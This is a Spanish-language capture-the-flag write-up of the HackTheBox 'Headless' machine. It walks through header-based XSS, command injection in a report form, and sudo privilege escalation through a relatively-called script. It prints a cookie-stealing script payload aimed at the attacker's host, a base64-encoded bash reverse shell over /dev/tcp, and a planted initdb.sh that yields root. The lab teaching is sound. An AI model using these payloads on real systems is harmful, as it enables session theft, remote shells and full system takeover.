HackTheBox - Headless
Creado
Entorno Linux nivel fácil. Robaremos cookies administrativas mediante un XSS, inyectaremos comandos desde la misma web y aprovecharemos descuidos al llamar archivos del sistema para ejecutar comandos de forma privilegiada.
TL;DR (Spanish writeup)
💥 Laboratorio creado por: dvir.
Los detalles, siempre son los detalles…
Enfrentaremos una web con varias falencias. Aprovechando un XSS robaremos la cookie administrativa de un usuario, jugando con ella accederemos a un recurso que tiene una inyección de comandos, la usaremos para entablar una sesión como el usuario Dvir en el sistema.
Encontraremos que el usuario dvir tiene permiso para ejecutar como todos los usuarios un script de bash. En su lógica llama a otro script de bash de forma relativa y lo ejecuta, dándonos la oportunidad de crear el objeto y manipular su contenido para ejecutar comandos como cualquier usuario en el sistema.
…
Clasificación de la máquina según la gentesita
Vulnerabilidades reales, fallos reales. Nada rarita.
La idea inicial de esta locura es tener mis “notas” por si algun día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) 😄 La segunda idea surgio con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo la oportunidad de ayudarlos ¿por qué no hacerlo?
Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3
…
Estrella de la autopista 🎶
…
Reconocimiento #
Nos apoyaremos de nmap
para validar que puertos (servicios) están expuestos en la máquina víctima:
nmap -p- --open -v 10.10.11.8 -oA TCP_initScan_HTB-Headless
Parámetro | Descripción |
---|---|
-p- | Escanea todos los 65535 puertos |
–open | Devuelve solo los puertos que estén abiertos |
-v | Permite ver en consola lo que va encontrando |
-oA | Guarda el output en diferentes formatos, uno de ellos “grepeable”, lo usaremos junto a la función extractPorts de S4vitar para copiar los puertos en la clipboard |
El escaneo nos devuelve:
Puerto | Descripción |
---|---|
22 | SSH: Podemos obtener una terminal de forma segura. |
5000 | Aún no lo sabemos con certeza, pero este puerto se usa a menudo para aplicaciones web. |
Usando la función
extractPorts
(referenciada antes) podemos tener rápidamente los puertos en la clipboard, en este caso no es necesario (ya que tenemos pocos puertos), pero si tuviéramos varios puertos evitamos tener que escribirlos uno a uno:
extractPorts TCP_initScan_HTB-Headless.gnmap
Ya que tenemos los puertos en la clipboard, le diremos a nmap
que intente extraer la versión del software usado en cada puerto y además que pruebe unos scripts que él tiene a ver si encuentra algo más para nosotros:
nmap -sCV -p 22,5000 10.10.11.8 -oA TCP_portScan_HTB-Headless
Parámetro | Descripción |
---|---|
-p | Escaneo de los puertos obtenidos |
-sC | Ejecuta scripts predefinidos contra el servicio |
-sV | Nos permite ver la versión del servicio |
Y obtenemos:
Puerto | Servicio | Versión |
---|---|---|
22 | SSH | OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) |
5000 | HTTP | Werkzeug/2.2.2 Python/3.11.2 |
- Y otros indicios de que estamos ante un sitio web, pero que está en remodelación o dado de baja (
<title>Under Construction</title>
)
Bueno, ya contamos con algunas cosas, así que empecemos a profundizarlas.
Enumeración #
En este caso empezaremos por el servicio web (ya que por lo general el puerto 22 no contiene muchas cosas para explorar).
Simplemente eso, un contador para indicar cuando estará activa la web. Si tenemos preguntas, nos redirige a /support
:
Un formulario con el cual interactuar, solo que antes de jugar con él, noté algo curioso en la cookie que se nos asignó y en las cabeceras:
🍪 Cookie:
InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
Sabemos que la cadena no está codificada en base64
debido a que usa .
y _
. Peeeero, si aun así intentamos decodearla, obtenemos:
➧ echo InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs | base64 -d
"user"base64: invalid input
➧ echo InVzZXIi | base64 -d
"user"
Jmmm, lo que está después del .
hace referencia a la cookie de sesión de nuestro usuario (que según entiendo se llama user
). No nos sirve de nada, pero está bueno tenerlo como parte de nuestra enumeración.
🤕 Headers:
Las cabeceras nos ofrecen más info, como que la aplicación fue creada usando Python 3.11.2
y Werkzeug 2.2.2
(o sea, probablemente Flask o algún framework así). También está bueno saberlo, ya que si llegamos a encontrar alguna vulnerabilidad en el formulario, podemos intentar una inyección de plantillas (SSTI).
Ahora sí, juguemos con el formulario, ya que no hay nada más con lo cual interactuar…
Explotación #
Para hacer el proceso de prueba y error más amigable, lo mejor es apoyarnos de Burp Suite para interceptar la petición y desde él, enviar y reenviar información sin tener que estar reescribiendo todo.
Acá una guia muy rapida de como es el proceso de interceptación con Burp Suite y la extensión FoxyProxy.
Ya con la petición, la enviamos al Repeater con CTRL+R
.
Teniendo en cuenta lo que dijimos de las cabeceras y la posible SSTI, me fui a probar directamente eso:
POST /support HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0<script>alert(1)</script>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
Origin: http://10.10.11.8:5000
Connection: close
Referer: http://10.10.11.8:5000/support
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
Upgrade-Insecure-Requests: 1
fname=lanz&lname=lanz&email=lanz%40lanz.lanz&phone=lanz&message=lanz{{7*7}}
La lógica está devolviendo un mensaje de que ha detectado un intento de hackeo. Esto pasa al enviar los símbolos {*}
en los parámetros de la petición. Interesante… Peeero, se pone más interesante, ya que el mensaje contiene más información:
Indica que nuestra información del navegador ha sido enviada a los administradores para ser investigada :O
Si renderizamos la petición vemos que es lo que envía a los admins:
Bien bien bien, nuestras cabeceras se están viendo reflejadas en el servicio web y también enviadas a los administradores. Con esto en el radar se me ocurre:
- Podemos aprovechar las cabeceras para intentar de nuevo el SSTI.
- No cerrarnos con el SSTI y validar también HTML Injection (inyección de etiquetas de HTML), XSS (inyección de código JavaScript u otro en un navegador), etc. Algo que pueda verse reflejado en las cabeceras al ser renderizado.
- Nos dice que esta info será revisada por los admins… ¿Quizá alguno de los admins ve esta información en su navegador? Podríamos direccionar un ataque XSS para robar su cookie de sesión.
Probando y probando confirmamos tanto el HTML Injection como el XSS.
Encontramos HTML Injection 📌
Si usamos la cabecera User-Agent
(o cualquiera de las que vimos antes) y le concatenamos a su contenido la etiqueta <h1>hola</h1>
(para testear el HTML Injection
) confirmamos la inyección:
Encontramos XSS 📌
Si ahora vamos un paso más allá y jugamos con un alert(1)
usando código JavaScript, también confirmamos su renderización:
Como es una interacción directa con el navegador, no vemos el pop-up que genera alert(1)
, pero Burp Suite permite llevarse la respuesta y renderizarla en un navegador, simplemente damos clic derecho sobre la respuesta y:
Copiamos la URL que genera, la pegamos en el navegador y nos encontramos el pop-up:
Perfectoooo! Estamos ejecutando código JavaScript en el navegador (: Lo bueno es que la prueba de la cookie de sesión toma mucha más fuerza ahora que sabemos que existe un XSS, ya que ese tipo de ataques están muy relacionados con esa vuln.
Así queeeeeeeeeeee.
Usamos XSS para robar cookie administrativa 📌
Entonces, que queremos hacer: Posiblemente, algún usuario administrador vea la información del intento de hackeo en su navegador, desde su cuenta administrativa. Podemos usar el XSS encontrado para enviar una petición maliciosa que una vez renderizada, reenvíe la cookie del usuario a algún servidor que tengamos en escucha, básicamente robarnos su sesión (:
Ten en cuenta que no siempre que encuentres un XSS vas a poder robar una sesión, hay que tener en cuenta la seguridad de las cookies (HttpOnly y/o Secure) y las cabeceras. En este caso no hay nada de que preocuparse.
Para llevar a cabo el robo simplemente necesitamos un payload como este:
<script>img = new Image(); img.src = "http://TUip:TUpuerto/hola?"+document.cookie;</script>
En él indicamos: “Créame por favor mediante JS una etiqueta tipo imagen, la cual está alojada en este servidor (TUip), este puerto (TUpuerto) y se llama así (hola), ah y también concaténame el valor de la cookie del usuario actual que intenta cargar la imagen.”
Entonces, levantemos el servidor y formemos el payload:
➧ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
<script>img = new Image(); img.src = "http://10.10.14.79:8000/hola?"+document.cookie;</script>
Al enviarla, notamos una petición generada por el mismo Burp Suite, esperamos un rato, otro rato, otro rato yyyyyyy:
¡TENEMOS UNA PETICIÓN DESDE EL SISTEMA VICTIMAAAAA yyyyyy UNA COOKIE DISTINTA!!
Epaleeee! Sí, señores y señoras, una cookie administrativa (:
…
Para hacer uso de ella en nuestro navegador podemos apoyarnos de la extensión Cookie-Editor, usar el inspector o la forma que prefieras :P
Solo que al asignárnosla y recargar la web, no notamos cambio en el contenido ni del /
ni de /support
. Revisemos que directorios y/o archivos están fuera de vista, pero hosteados por el back-end (fuzzing):
ffuf -c -w /opt/seclists/Discovery/Web-Content/raft-large-directories.txt -u http://10.10.11.8:5000/FUZZ
Pos sí, no teníamos aún a /dashboard
(que devuelve un error, pensemos que es debido a que usamos ffuf sin la cookie, o sea, no como “admins”).
Vamos a ese recurso, asignamos cookie robada, actualizamos la web y obtenemos un 200 Ok:
Liiistones, accedemos como administradores a un apartado para generar reportes con respecto a cuál es el estado del servidor.
Generando reportes maliciosos 📌
Al hacer clic sobre Generate Report obtenemos:
Procedemos a interceptar la petición de nuevo con Burp Suite (y la guardamos con el Repeater):
Una petición sencilla, toma el parámetro date
y hace cosas locas por detrás…
Francamente, lo primero que pensé al ver ese parámetro fue en una inyección de comandos. Me recordó mucho al comando date
de los sistemas operativos tipo unix
y dije “¿será?”
Entonces probé una concatenación de comandos, para que después del presunto date
ejecutado, llame al comando id
(el cual nos dice el nombre del usuario que ejecuta el proceso y además los grupos a los que está asociado):
date;id
AJAJAII! Confirmada la inyección de comandos :P
Para obtener una shell reversa (que el sistema víctima nos envíe una conexión para generar una terminal de forma remota) podemos usar este método:
1️⃣ Encodeamos el payload en base64:
➧ echo "bash -c 'bash -i >& /dev/tcp/10.10.14.79/4450 0>&1'" | base64 -w 0
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43OS80NDUwIDA+JjEnCg==
Le decimos a la máquina remota que reenvie una
bash
al puerto en escucha4450
del servidor10.10.14.79
.
2️⃣ Levantamos puerto 4450:
nc -lvp 4450
3️⃣ Organizamos el parámetro date con la info necesaria:
date=2023-09-15;echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43OS80NDUwIDA+JjEnCg==|base64 -d|bash
El comando imprime la cadena codificada con la reverse shell, la decodea y la ejecuta.
4️⃣ Evitamos errores causados por los espacios y caracteres especiales:
Desde Burp seleccionamos todo el comando que vamos a inyectar (desde echo hasta bash) y oprimimos CTRL+U
, con esto se URL encodea la cadena.
5️⃣ Enviamos petición y esperamos shell:
Lindo, lindo lindo (:
Si quieres que la terminal sea completamente funcional (tener historico de comandos, movimiento entre ellos y posibilidad de ejecutar
CTRL+C
sin temor a pederla), necesitas tratar la TTY, te dejo esta guia.
Escalada de privilegios #
Ya en el sistema, al validar que permisos como otros usuarios tiene dvir
, vemos:
Puede ejecutar como cualquier usuario el objeto /usr/bin/syscheck
. Que es un archivo personalizado y escrito en bash:
Listo, inspeccionémoslo a ver si encontramos cositas para jugar.
…
La primera parte simplemente extrae el momento exacto en que fue actualizado por última vez el kernel del sistema:
➧ /usr/bin/find /boot -name 'vmlinuz*'
/boot/vmlinuz-6.5.0-kali3-amd64
/boot/vmlinuz-6.3.0-kali1-amd64
➧ /usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} +
1696865437
1688029547
➧ /usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n
1688029547
1696865437
➧ /usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1
1696865437
La siguiente imprime el espacio de almacenamiento disponible:
➧ /usr/bin/df -h /
Filesystem Size Used Avail Use% Mounted on
/dev/sda1 119G 32G 81G 29% /
➧ /usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}'
81G
Después nos muestra el promedio de carga que tienen los procesos en el sistema:
➧ /usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}'
0.08, 0.11, 0.17
Y la última parte ejecuta una base de datos si es que esta no está corriendo. PERO, lo hace de una forma curiosa.
...
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
...
Busca entre los procesos del sistema el PID (ID del proceso) asignado al script initdb.sh
usando pgrep, si no lo encuentra (if !) ejecuta el objeto initdb.sh
para iniciar la base de datos.
SOLO QUE ACÁ PASÓ ALGO!! (¿lo viste?)
Al ejecutar el archivo initdb.sh
lo hace sin su ruta absoluta (ejemplo /usr/bin/initdb.sh
), por el contrario, está buscando al objeto initdb.sh
en la ruta actual (./
) desde donde se ejecute /usr/bin/syscheck
, o seaaaaa, podemos crear un archivo con ese nombre y controlar su contenido :O
Vamos a hacer que initdb.sh
ejecute el comando id
:
mkdir /tmp/things
cd /tmp/things
echo "id" > initdb.sh
chmod +x initdb.sh
Ejecutamos /usr/bin/syscheck
con el permiso:
Ejejeeepale, pues estamos ejecutando comandos como el usuario root
(ya que si ejecutamos sudo solo, toma a root por default).
Si queremos obtener una shell es tan sencillo como ejecutar una bash
:
echo "bash" > initdb.sh
Tamo’ somos administradores del sistema (: Y hemos acabado la máquina.
Post-Explotación #
Flags 📌
…
¡Divertida, me gustó! ¿Y a ti?
Linda manera de robar una cookie y de truquear a un administrador :P
Y bueno, no ha sido más por esta ocasión, nos leeremos después. A SEGUIR ROMPIENDO!!!! Abrazos <3
Comments